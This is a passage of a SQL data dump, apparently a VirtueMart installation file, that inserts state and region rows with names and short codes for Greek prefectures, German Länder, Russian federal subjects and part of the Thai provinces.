1, 84, 0, 'ΗΡΑΚΛΕΙΟΥ', 'ΗΡΑ', 'ΗΡ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (519, 1, 84, 0, 'ΘΕΣΠΡΩΤΙΑΣ', 'ΘΕΠ', 'ΘΠ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (520, 1, 84, 0, 'ΘΕΣΣΑΛΟΝΙΚΗΣ', 'ΘΕΣ', 'ΘΕ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (521, 1, 84, 0, 'ΙΩΑΝΝΙΝΩΝ', 'ΙΩΑ', 'ΙΩ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (522, 1, 84, 0, 'ΚΑΒΑΛΑΣ', 'ΚΑΒ', 'ΚΒ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (523, 1, 84, 0, 'ΚΑΡΔΙΤΣΑΣ', 'ΚΑΡ', 'ΚΡ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (524, 1, 84, 0, 'ΚΑΣΤΟΡΙΑΣ', 'ΚΑΣ', 'ΚΣ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (525, 1, 84, 0, 'ΚΕΡΚΥΡΑΣ', 'ΚΕΡ', 'ΚΕ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (526, 1, 84, 0, 'ΚΕΦΑΛΛΗΝΙΑΣ', 'ΚΕΦ', 'ΚΦ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (527, 1, 84, 0, 'ΚΙΛΚΙΣ', 'ΚΙΛ', 'ΚΙ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (528, 1, 84, 0, 'ΚΟΖΑΝΗΣ', 'ΚΟΖ', 'ΚZ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (507, 1, 84, 0, 'ΑΧΑΪΑΣ', 'ΑΧΑ', 'ΑΧ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (508, 1, 84, 0, 'ΒΟΙΩΤΙΑΣ', 'ΒΟΙ', 'ΒΟ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (509, 1, 84, 0, 'ΓΡΕΒΕΝΩΝ', 'ΓΡΕ', 'ΓΡ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (510, 1, 84, 0, 'ΔΡΑΜΑΣ', 'ΔΡΑ', 'ΔΡ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (511, 1, 84, 0, 'ΔΩΔΕΚΑΝΗΣΟΥ', 'ΔΩΔ', 'ΔΩ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (512, 1, 84, 0, 'ΕΒΡΟΥ', 'ΕΒΡ', 'ΕΒ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (513, 1, 84, 0, 'ΕΥΒΟΙΑΣ', 'ΕΥΒ', 'ΕΥ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (514, 1, 84, 0, 'ΕΥΡΥΤΑΝΙΑΣ', 'ΕΥΡ', 'ΕΡ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (515, 1, 84, 0, 'ΖΑΚΥΝΘΟΥ', 'ΖΑΚ', 'ΖΑ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (516, 1, 84, 0, 'ΗΛΕΙΑΣ', 'ΗΛΕ', 'ΗΛ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (505, 1, 84, 0, 'ΑΡΤΑΣ', 'ΑΡΤ', 'ΑΑ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (506, 1, 84, 0, 'ΑΤΤΙΚΗΣ', 'ΑΤΤ', 'ΑΤ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (536, 1, 84, 0, 'ΜΑΓΝΗΣΙΑΣ', 'ΜΑΓ', 'ΜΑ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (537, 1, 84, 0, 'ΜΕΣΣΗΝΙΑΣ', 'ΜΕΣ', 'ΜΕ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (538, 1, 84, 0, 'ΞΑΝΘΗΣ', 'ΞΑΝ', 'ΞΑ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (539, 1, 84, 0, 'ΠΕΛΛΗΣ', 'ΠΕΛ', 'ΠΕ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (540, 1, 84, 0, 'ΠΙΕΡΙΑΣ', 'ΠΙΕ', 'ΠΙ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (541, 1, 84, 0, 'ΠΡΕΒΕΖΑΣ', 'ΠΡΕ', 'ΠΡ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (542, 1, 84, 0, 'ΡΕΘΥΜΝΗΣ', 'ΡΕΘ', 'ΡΕ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (543, 1, 84, 0, 'ΡΟΔΟΠΗΣ', 'ΡΟΔ', 'ΡΟ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (544, 1, 84, 0, 'ΣΑΜΟΥ', 'ΣΑΜ', 'ΣΑ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (545, 1, 84, 0, 'ΣΕΡΡΩΝ', 'ΣΕΡ', 'ΣΕ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (546, 1, 84, 0, 'ΤΡΙΚΑΛΩΝ', 'ΤΡΙ', 'ΤΡ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (547, 1, 84, 0, 'ΦΘΙΩΤΙΔΑΣ', 'ΦΘΙ', 'ΦΘ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (548, 1, 84, 0, 'ΦΛΩΡΙΝΑΣ', 'ΦΛΩ', 'ΦΛ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (549, 1, 84, 0, 'ΦΩΚΙΔΑΣ', 'ΦΩΚ', 'ΦΩ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (550, 1, 84, 0, 'ΧΑΛΚΙΔΙΚΗΣ', 'ΧΑΛ', 'ΧΑ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (551, 1, 84, 0, 'ΧΑΝΙΩΝ', 'ΧΑΝ', 'ΧΝ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (552, 1, 84, 0, 'ΧΙΟΥ', 'ΧΙΟ', 'ΧΙ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (569, 1, 81, 0, 'Schleswig-Holstein', 'SHO', 'SH', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (554, 1, 81, 0, 'Freie und Hansestadt Hamburg', 'HAM', 'HH', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (555, 1, 81, 0, 'Niedersachsen', 'NIS', 'NI', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (556, 1, 81, 0, 'Freie Hansestadt Bremen', 'HBR', 'HB', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (557, 1, 81, 0, 'Nordrhein-Westfalen', 'NRW', 'NW', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (558, 1, 81, 0, 'Hessen', 'HES', 'HE', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (559, 1, 81, 0, 'Rheinland-Pfalz', 'RLP', 'RP', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (560, 1, 81, 0, 'Baden-Württemberg', 'BWÜ', 'BW', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (561, 1, 81, 0, 'Freistaat Bayern', 'BAV', 'BY', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (562, 1, 81, 0, 'Saarland', 'SLA', 'SL', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (563, 1, 81, 0, 'Berlin', 'BER', 'BE', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (564, 1, 81, 0, 'Brandenburg', 'BRB', 'BB', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (565, 1, 81, 0, 'Mecklenburg-Vorpommern', 'MVO', 'MV', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (566, 1, 81, 0, 'Freistaat Sachsen', 'SAC', 'SN', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (567, 1, 81, 0, 'Sachsen-Anhalt', 'SAA', 'ST', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (568, 1, 81, 0, 'Freistaat Thüringen', 'THÜ', 'TH', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (570, 1, 176, 0, 'Адыгея Республика', 'AD', '01', 1, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (571, 1, 176, 0, 'Алтай Республика', 'AL', '04', 2, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (572, 1, 176, 0, 'Алтайский край', 'ALT', '22', 3, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (573, 1, 176, 0, 'Амурская область', 'AMU', '28', 4, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (574, 1, 176, 0, 'Архангельская область', 'ARK', '29', 5, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (575, 1, 176, 0, 'Астраханская область', 'AST', '30', 6, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (576, 1, 176, 0, 'Башкортостан Республика', 'BA', '02', 7, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (577, 1, 176, 0, 'Белгородская область', 'BEL', '31', 8, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (578, 1, 176, 0, 'Брянская область', 'BRY', '32', 9, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (579, 1, 176, 0, 'Бурятия Республика', 'BU', '03', 10, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (580, 1, 176, 0, 'Владимирская область', 'VLA', '33', 11, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (581, 1, 176, 0, 'Волгоградская область', 'VGG', '34', 12, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (582, 1, 176, 0, 'Вологодская область', 'VLG', '35', 13, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (583, 1, 176, 0, 'Воронежская область', 'VOR', '36', 14, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (584, 1, 176, 0, 'Дагестан Республика', 'DA', '05', 15, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (585, 1, 176, 0, 'Еврейская автономная область', 'YEV', '79', 16, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (586, 1, 176, 0, 'Забайкальский край', 'ZAB', '75', 17, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (587, 1, 176, 0, 'Ивановская область', 'IVA', '37', 18, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (588, 1, 176, 0, 'Ингушетия Республика', 'IN', '06', 19, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (589, 1, 176, 0, 'Иркутская область', 'IRK', '38', 20, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (590, 1, 176, 0, 'Кабардино-Балкарская Республика', 'KB', '07', 21, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (591, 1, 176, 0, 'Калининградская область', 'KGD', '39', 22, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (592, 1, 176, 0, 'Калмыкия Республика', 'KL', '08', 23, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (593, 1, 176, 0, 'Калужская область', 'KLU', '40', 24, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (594, 1, 176, 0, 'Камчатский край', 'KAM', '41', 25, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (595, 1, 176, 0, 'Карачаево-Черкесская Республика', 'KC', '09', 26, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (596, 1, 176, 0, 'Карелия Республика', 'KR', '10', 27, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (597, 1, 176, 0, 'Кемеровская область', 'KEM', '42', 28, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (598, 1, 176, 0, 'Кировская область', 'KIR', '43', 29, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (599, 1, 176, 0, 'Коми Республика', 'KO', '11', 30, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (600, 1, 176, 0, 'Костромская область', 'KOS', '44', 31, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (601, 1, 176, 0, 'Краснодарский край', 'KDA', '23', 32, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (602, 1, 176, 0, 'Красноярский край', 'KIA', '24', 33, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (603, 1, 176, 0, 'Курганская область', 'KGN', '45', 34, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (604, 1, 176, 0, 'Курская область', 'KRS', '46', 35, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (605, 1, 176, 0, 'Ленинградская область', 'LEN', '47', 36, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (606, 1, 176, 0, 'Липецкая область', 'LIP', '48', 37, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (607, 1, 176, 0, 'Магаданская область', 'MAG', '49', 38, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (608, 1, 176, 0, 'Марий Эл Республика', 'ME', '12', 39, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (609, 1, 176, 0, 'Мордовия Республика', 'MO', '13', 40, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (610, 1, 176, 0, 'Москва', 'MOW', '77', 41, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (611, 1, 176, 0, 'Московская область', 'MOS', '50', 42, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (612, 1, 176, 0, 'Мурманская область', 'MUR', '51', 43, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (613, 1, 176, 0, 'Ненецкий автономный округ', 'NEN', '83', 44, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (614, 1, 176, 0, 'Нижегородская область', 'NIZ', '52', 45, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (615, 1, 176, 0, 'Новгородская область', 'NGR', '53', 46, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (616, 1, 176, 0, 'Новосибирская область', 'NVS', '54', 47, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (617, 1, 176, 0, 'Омская область', 'OMS', '55', 48, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (618, 1, 176, 0, 'Оренбургская область', 'ORE', '56', 49, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (619, 1, 176, 0, 'Орловская область', 'ORL', '57', 50, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (620, 1, 176, 0, 'Пензенская область', 'PNZ', '58', 51, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (621, 1, 176, 0, 'Пермский край', 'PER', '59', 52, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (622, 1, 176, 0, 'Приморский край', 'PRI', '25', 53, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (623, 1, 176, 0, 'Псковская область', 'PSK', '60', 54, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (624, 1, 176, 0, 'Ростовская область', 'ROS', '61', 55, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (625, 1, 176, 0, 'Рязанская область', 'RYA', '62', 56, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (626, 1, 176, 0, 'Самарская область', 'SAM', '63', 57, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (627, 1, 176, 0, 'Санкт-Петербург', 'SPE', '78', 58, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (628, 1, 176, 0, 'Саратовская область', 'SAR', '64', 59, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (629, 1, 176, 0, 'Саха (Якутия) Республика', 'SA', '14', 60, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (630, 1, 176, 0, 'Сахалинская область', 'SAK', '65', 61, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (631, 1, 176, 0, 'Свердловская область', 'SVE', '66', 62, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (632, 1, 176, 0, 'Северная Осетия-Алания Республика', 'SE', '15', 63, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (633, 1, 176, 0, 'Смоленская область', 'SMO', '67', 64, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (634, 1, 176, 0, 'Ставропольский край', 'STA', '26', 65, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (635, 1, 176, 0, 'Тамбовская область', 'TAM', '68', 66, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (636, 1, 176, 0, 'Татарстан Республика', 'TA', '16', 67, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (637, 1, 176, 0, 'Тверская область', 'TVE', '69', 68, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (638, 1, 176, 0, 'Томская область', 'TOM', '70', 69, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (639, 1, 176, 0, 'Тульская область', 'TUL', '71', 70, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (640, 1, 176, 0, 'Тыва Республика', 'TY', '17', 71, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (641, 1, 176, 0, 'Тюменская область', 'TYU', '72', 72, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (642, 1, 176, 0, 'Удмуртская Республика', 'UD', '18', 73, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (643, 1, 176, 0, 'Ульяновская область', 'ULY', '73', 74, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (644, 1, 176, 0, 'Хакасия Республика', 'KK', '19', 75, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (645, 1, 176, 0, 'Челябинская область', 'CHE', '74', 76, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (646, 1, 176, 0, 'Чеченская Республика', 'CE', '20', 77, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (647, 1, 176, 0, 'Чувашская Республика', 'CU', '21', 78, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (648, 1, 176, 0, 'Чукотский автономный округ', 'CHU', '87', 79, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (649, 1, 176, 0, 'Хабаровский край', 'KHA', '27', 80, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (650, 1, 176, 0, 'Ханты-Мансийский автономный округ', 'KHM', '86', 81, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (651, 1, 176, 0, 'Ямало-Ненецкий автономный округ', 'YAN', '89', 82, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (652, 1, 176, 0, 'Ярославская область', 'YAR', '76', 83, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0); -- By : Khemakorn Chaiyapruck from Thailand INSERT INTO `#__virtuemart_states` (`virtuemart_state_id`, `virtuemart_vendor_id`, `virtuemart_country_id`, `state_name`, `state_3_code`, `state_2_code`, `published`) VALUES (653, 1, 209, 'กระบี่', 'กบ', 'กบ', 1), (654, 1, 209, 'กรุงเทพมหานคร', 'กทม', 'กท', 1), (655, 1, 209, 'กาญจนบุรี', 'กจ', 'กจ', 1), (656, 1, 209, 'กาฬสินธุ์', 'กส', 'กส', 1), (657, 1, 209, 'กำแพงเพชร', 'กพ', 'กพ', 1), (658, 1, 209, 'ขอนแก่น', 'ขก', 'ขก', 1), (659, 1, 209, 'จันทบุรี ', 'จบ', 'จบ', 1), (660, 1, 209, 'ฉะเชิงเทรา', 'ฉช', 'ฉช', 1), (661, 1, 209, 'ชลบุรี ', 'ชบ', 'ชบ', 1), (662, 1, 209, 'ชัยนาท', 'ชน', 'ชน', 1), (663, 1, 209, 'ชัยภูมิ', 'ชย', 'ชย', 1), (664, 1, 209, 'ชุมพร', 'ชพ', 'ชพ', 1), (665, 1, 209, 'เชียงราย', 'ชร', 'ชร', 1), (666, 1, 209, 'เชียงใหม่', 'ชม', 'ชม', 1), (667, 1, 209, 'ตรัง', 'ตง', 'ตง', 1), (668, 1, 209, 'ตราด', 'ตร', 'ตร', 1), (669, 1, 209, 'ตาก', 'ตก', 'ตก', 1), (670, 1, 209, 'นครนายก', 'นย', 'นย', 1), (671, 1, 209, 'นครปฐม', 'นฐ', 'นฐ', 1), (672, 1, 209, 'นครพนม', 'นพ', 'นพ', 1), (673, 1, 209, 'นครราชสีมา', 'นม', 'นม', 1), (674, 1, 209, 'นครศรีธรรมราช', 'นศ', 'นศ', 1), (675, 1, 209, 'นครสวรรค์', 'นว', 'นว', 1), (676, 1, 209, 'นนทบุรี ', 'นบ', 'นบ', 1), (677, 1, 209, 'นราธิวาส', 'นธ', 'นธ', 1), (678, 1, 209, 'น่าน', 'นน', 'นน', 1), (679, 1, 209, 'บุรีรัมย์', 'บร', 'บร', 1), (680, 1, 209, 'บึงกาฬ', 'บก', 'บก', 1), (681, 1, 209, 'ปทุมธานี', 'ปท', 'ปท', 1), (682, 1, 209, 'ประจวบคีรีขันธ์', 'ปข', 'ปข', 1), (683, 1, 209, 'ปราจีนบุรี', 'ปจ', 'ปจ', 1), (684, 1, 209, 'ปัตตานี', 'ปน', 'ปน', 1), (685, 1, 209, 'พระนครศรีอยุธยา', 'อย', 'อย', 1), (686, 1, 209, 'พังงา ', 'พง', 'พง', 1), (687, 1, 209, 'พัทลุง', 'พท', 'พท', 1), (688, 1, 209, 'พิจิตร', 'พจ', 'พจ', 1), (689, 1, 209, 'พิษณุโลก', 'พล', 'พล', 1), (690, 1, 209, 'เพชรบุรี', 'พบ', 'พบ', 1), (691, 1, 209, 'เพชรบูรณ์ ', 'พช', 